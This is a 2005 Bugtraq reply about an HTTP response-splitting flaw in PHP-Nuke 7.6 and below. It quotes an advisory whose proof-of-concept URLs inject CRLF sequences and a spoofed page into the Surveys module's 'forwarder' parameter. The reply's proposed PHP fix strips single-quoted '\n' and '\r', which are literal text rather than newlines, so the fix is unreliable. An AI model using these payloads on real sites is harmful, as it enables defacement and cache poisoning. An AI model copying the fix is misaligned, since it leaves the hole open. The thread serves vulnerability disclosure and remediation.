bugtraq - Re: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below

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Message-ID: <20050415211819.17932.qmail@www.securityfocus.com>
Date: 15 Apr 2005 21:18:19 -0000
From: JeiAr <security@...ftech.org>
To: bugtraq@...urityfocus.com
Subject: Re: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below


In-Reply-To: <20050416033018.9721.qmail@....securityfocus.com>

"Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string()
and other functions for input validation before passing user input
to the mysql database, or before echoing data on the screen, would solve these
problems."

The htmlspecialchars() would most definately keep the html code from being rendered, but would it really fix http response splitting?

Maybe something like this would work better?

$location = str_replace('\n', '', urldecode($location));
$location = str_replace('\r', '', urldecode($location));
$location = str_replace('&amp;', '&', htmlspecialchars($location));

James


>Dcrab 's Security Advisory
>[Hsc Security Group] http://www.hackerscenter.com/
>[dP Security] http://digitalparadox.org/
>
>Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at http://www.digitalparadox.org/services.ah
>
>Severity: High
>Title: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
>Date: 15/04/2005
>
>Vendor: Php-Nuke
>Vendor Website: http://www.phpnuke.org
>Summary: There are, http response splitting vulnerability in php-nuke 7.6 and below.
>
>Proof of Concept Exploits: 
>
>MORE DETAILS OF THIS SORT OF BUG CAN BE FOUND AT www.digitalparadox.org/papers.ah
>
>A simple POC can be as follows,
>
>http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
>
>A more serious version involving Cross user defacement, cache poisoning and page hijacking can be,
>
>http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3E<title>This is a spoofed site </title> <body bgcolor=black><font size=10 color=blue> Welcome to my PHP Nuke Website, This is a spoofed page that you are seeing and can be used for great evils details about which can be read in http://www.digitalparadox.org/papers.ah Http Response Splitting by Diabolic Crab. </center> Feel free to contact me about this vulnerablitiy at dcrab {at} hackerscenter [dot] com<font color=black>%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
>
>
>Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.
>
>Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah
>
>Author: 
>These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my soon to come out book on Secure coding with php.
>